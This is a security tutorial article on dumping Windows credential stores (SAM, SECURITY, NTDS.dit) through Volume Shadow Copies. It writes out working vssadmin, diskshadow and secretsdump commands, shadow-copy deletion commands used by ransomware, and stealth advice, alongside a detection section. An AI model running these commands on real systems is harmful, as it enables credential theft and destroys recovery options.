Volume Shadow Copies (VSS) for Credential and File Recovery

Volume Shadow Copies (VSS) for Credential and File Recovery - article cover image Windows Privesc
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

The Volume Shadow Copy Service (VSS) is Windows’s block-level snapshot framework — the mechanism behind System Restore, File History “Previous Versions”, and every application-consistent backup product on the platform. A shadow copy is a point-in-time, copy-on-write view of an entire volume, exposed to callers as its own device object. Because it is a snapshot of the raw volume rather than a request routed through the live filesystem’s lock manager, files that are open and exclusively locked on the running system — registry hives held open by the OS, NTDS.dit held open by lsass.exe on a domain controller — can be read straight out of the shadow copy as if the lock never existed.

That property makes VSS indispensable for legitimate digital forensics and incident response: an analyst can snapshot a live, running endpoint and pull artifacts that would otherwise require taking the machine offline. The same property makes it one of the most reliable credential-access techniques available to an attacker with local administrator rights — vssadmin, diskshadow, and wbadmin are all signed, native Windows binaries, so extracting SAM, SECURITY, and NTDS.dit via a shadow copy requires no third-party tooling on the target at all. VSS also has a destructive dual use: ransomware routinely deletes existing shadow copies before encrypting a host specifically to remove the victim’s easiest recovery path.

Attack Prerequisites

Both the DFIR use case and the offensive misuse of VSS share the same baseline requirements, since shadow-copy creation is a privileged operation:

  • Local administrator (or SYSTEM) on the target — creating, listing internals of, or deleting shadow copies is restricted to elevated users; an unprivileged user cannot invoke the VSS requestor APIs.
  • The Volume Shadow Copy service and enough free disk space — VSS needs storage area to hold the copy-on-write diffs; a volume with the service disabled or with shadow storage explicitly capped at 0 cannot be snapshotted.
  • For domain controllers, the NTDS VSS writer must be registered and healthy (vssadmin list writers) for a snapshot to capture a consistent NTDS.dit; a failed or timed-out writer produces an unusable database copy.
  • Console or remote command execution as that administrator — vssadmin/diskshadow run locally, though the technique is frequently invoked over an existing remote-admin channel (PsExec, WinRM, WMI), and tools such as Impacket’s secretsdump.py implement an equivalent VSS-based path entirely over SMB/RPC.

How It Works

VSS coordinates four roles: a requestor (the tool asking for a snapshot — vssadmin, diskshadow, a backup product, or the remote path secretsdump.py -use-vss drives), a provider (the component that actually implements the snapshot, almost always the in-box software provider using copy-on-write), and one or more writers — per-application components (the registry writer, the NTDS writer, the SQL/Exchange writers) that flush their state to a consistent point before the snapshot is taken, so the resulting copy is not just point-in-time but *application-consistent*. When a snapshot is created, the provider exposes it as a new, read-only volume device — a path of the form \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\ — that mirrors the source volume’s entire directory tree at that instant.

The critical detail for both DFIR and credential theft is that this device is reached at the volume level, beneath the filesystem’s own lock semantics on the live volume. SAM, SYSTEM, and SECURITY under %SystemRoot%\System32\config are held open with exclusive locks by the OS on the running system precisely to prevent casual copying; NTDS.dit is similarly locked by the directory service on a domain controller. Reading the *same file path* inside the shadow-copy device, however, is a distinct open against the snapshot volume and is not subject to the live process’s lock — the file can be copied out with a plain copy or Copy-Item command, no special API and no privilege beyond the one already used to create the shadow copy itself.

diskshadow is the scriptable, more capable sibling of vssadmin — it drives the same VSS requestor APIs through a small command language and supports exposing the resulting shadow copy as a drive letter, which removes the need to type out the GLOBALROOT device path by hand. ntdsutil‘s ifm (Install From Media) command is a third path to the same underlying mechanism: it is Microsoft’s own supported way to produce an offline, install-ready copy of NTDS.dit plus the SYSTEM hive, and it does so by creating a VSS snapshot internally and pulling the files out of it — the same operation an attacker performs manually with vssadmin.

Vulnerable Code / Configuration

No misconfiguration is required for this technique to work — it is native, documented functionality — which is exactly what makes it attractive. The “configuration” that matters is simply that VSS is available and the shadow-copy device path is reachable to anyone holding administrative rights, with no logging beyond standard process-creation auditing on the signed native binaries involved:

:: Create a shadow copy of the OS volume (requires local admin)
C:\> vssadmin create shadow /for=C:
Successfully created shadow copy for 'C:\'
    Shadow Copy ID: {b2d5c4e1-...}
    Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12
TEXT

The workstation/member-server credential path copies the SAM and SYSTEM hives straight out of the shadow device, since a live reg save HKLM\SAM is blocked without SeBackupPrivilege while a plain file copy from the snapshot is not:

:: Pull the locked hives out of the snapshot instead of the live volume.
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\Windows\System32\config\SAM C:\Temp\sam.hive
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\Windows\System32\config\SYSTEM C:\Temp\system.hive
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\Windows\System32\config\SECURITY C:\Temp\security.hive
TEXT

The domain-controller variant targets NTDS.dit the same way, and is the manual equivalent of ntdsutil ifm:

:: Same snapshot device, but pulling the AD database and its log volume.
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\Windows\System32\config\SYSTEM C:\Temp\system.hive
TEXT

Walkthrough / Exploitation

diskshadow scripts the same sequence more cleanly and is favored because it is a signed, native LOLBin that many allowlisting policies overlook precisely because it is meant for backup operators:

:: diskshadow.txt
set context persistent nowriters
add volume C: alias sysvol
create
expose %sysvol% Z:

C:\> diskshadow /s diskshadow.txt
:: Shadow copy is now mounted at Z:\ -- ordinary file copies work.
C:\> copy Z:\Windows\System32\config\SAM C:\Temp\sam.hive
TEXT

Once the hive files (or NTDS.dit) are off the box, extraction is offline and standard — the same secrets-extraction path used after any registry hive dump:

$ secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
$ secretsdump.py -ntds ntds.dit -system system.hive LOCAL
TEXT

Remote operators frequently skip the manual snapshot step entirely: Impacket’s secretsdump.py has a built-in VSS code path that drives the target’s VSS service over DCOM/RPC and reads the resulting snapshot via the remote registry service, dumping SAM without ever touching disk with a custom binary:

$ secretsdump.py -use-vss DOMAIN/admin:password@10.10.10.5
:: Remotely triggers a VSS snapshot, reads SAM/SYSTEM/SECURITY from it,
:: and cleans up the shadow copy afterward.
TEXT

The destructive, non-credential misuse runs the same tooling in reverse: deleting existing shadow copies to strip the victim of file-recovery options immediately before encryption, a step seen across ransomware playbooks and mapped to MITRE ATT&CK T1490 (Inhibit System Recovery):

C:\> vssadmin delete shadows /all /quiet
C:\> wmic shadowcopy delete
TEXT

Note: vssadmin list shadows and vssadmin list writers require administrative rights just like create, so an attacker cannot silently enumerate existing snapshots from a low-privileged foothold. On a domain controller, a failed or excluded NTDS writer (vssadmin list writers showing a non-stable state) is the most common reason a manual shadow-copy dump of NTDS.dit produces a corrupt or unusable file — ntdsutil ifm is more reliable precisely because it manages writer state itself.

Opsec: Shadow-copy creation is not stealthy: it allocates disk space, takes several seconds, and — unlike a direct reg save — leaves an additional artifact (the shadow copy itself) sitting on the volume until it is deleted or ages out. Operators who forget to remove the shadow copy after extraction leave a durable, easily hunted-for artifact behind; vssadmin delete shadows as cleanup is itself a loggable, high-signal action and should be weighed against simply letting the copy expire naturally if stealth matters more than tidiness.

Detection and Defense

VSS-based credential access does not require exploiting a bug, so detection focuses on the process activity and object access the technique inevitably generates rather than on a vulnerability signature:

  • Monitor process creation for the VSS toolchain — Security Event ID 4688 (process creation, with command-line auditing enabled) or Sysmon Event ID 1 for vssadmin.exe create shadow, diskshadow.exe, wmic shadowcopy, and ntdsutil.exe invoking ifm, especially from an interactive or remote-admin session rather than a known backup product.
  • Flag access to hive/database files via a shadow-copy device path — command lines or file-access events referencing \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy combined with config\SAM, config\SECURITY, or NTDS\ntds.dit are almost never legitimate outside scheduled backup jobs.
  • Watch for vssadmin delete shadows / wmic shadowcopy delete — a strong, well-known precursor to ransomware detonation (ATT&CK T1490); alert on this regardless of the account’s normal privilege level.
  • Audit object access on the hive files themselves — Security Event ID 4663 (an attempt was made to access an object) on %SystemRoot%\System32\config\SAM/SECURITY and, on DCs, NTDS.dit, with SACLs configured for file/directory auditing.
  • Restrict and monitor who can create shadow copies remotely — the DCOM/RPC interface VSS exposes should be reachable only by backup infrastructure; treat an unexpected source host triggering remote VSS activity against a DC as a credential-theft indicator.
  • Baseline vssadmin list writers on domain controllers and alert on writer failures, since a broken NTDS writer is both an operational backup risk and a sign something is interfering with normal snapshot behavior.

Real-World Impact

VSS-based hive and NTDS.dit extraction is a standard, tool-supported technique — Impacket’s secretsdump.py -use-vss flag exists specifically because it is so reliable, and it appears constantly in both red-team reporting and real intrusions as the credential-access step feeding offline hash cracking and Golden Ticket forgery. It is formally catalogued under MITRE ATT&CK as part of T1003.002 (OS Credential Dumping: Security Account Manager) and T1003.003 (NTDS). On the destructive side, shadow-copy deletion ahead of encryption is one of the most consistently observed ransomware behaviors across the industry, which is why it remains a near-universal detection rule in EDR products and SIEM content alike.

Conclusion

VSS is a legitimate, powerful piece of Windows infrastructure that happens to sit directly on top of the file-locking boundary attackers most want to bypass — and because the tools involved are signed, native, and used constantly by real backup software, the technique is difficult to block outright without breaking backups. The practical defense is behavioral: instrument process creation and object access around vssadmin/diskshadow/ntdsutil and the shadow-copy device namespace, restrict who can trigger VSS operations against sensitive hosts like domain controllers, and treat both an unexpected snapshot creation and an unexpected mass deletion of shadow copies as equally worth an alert.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL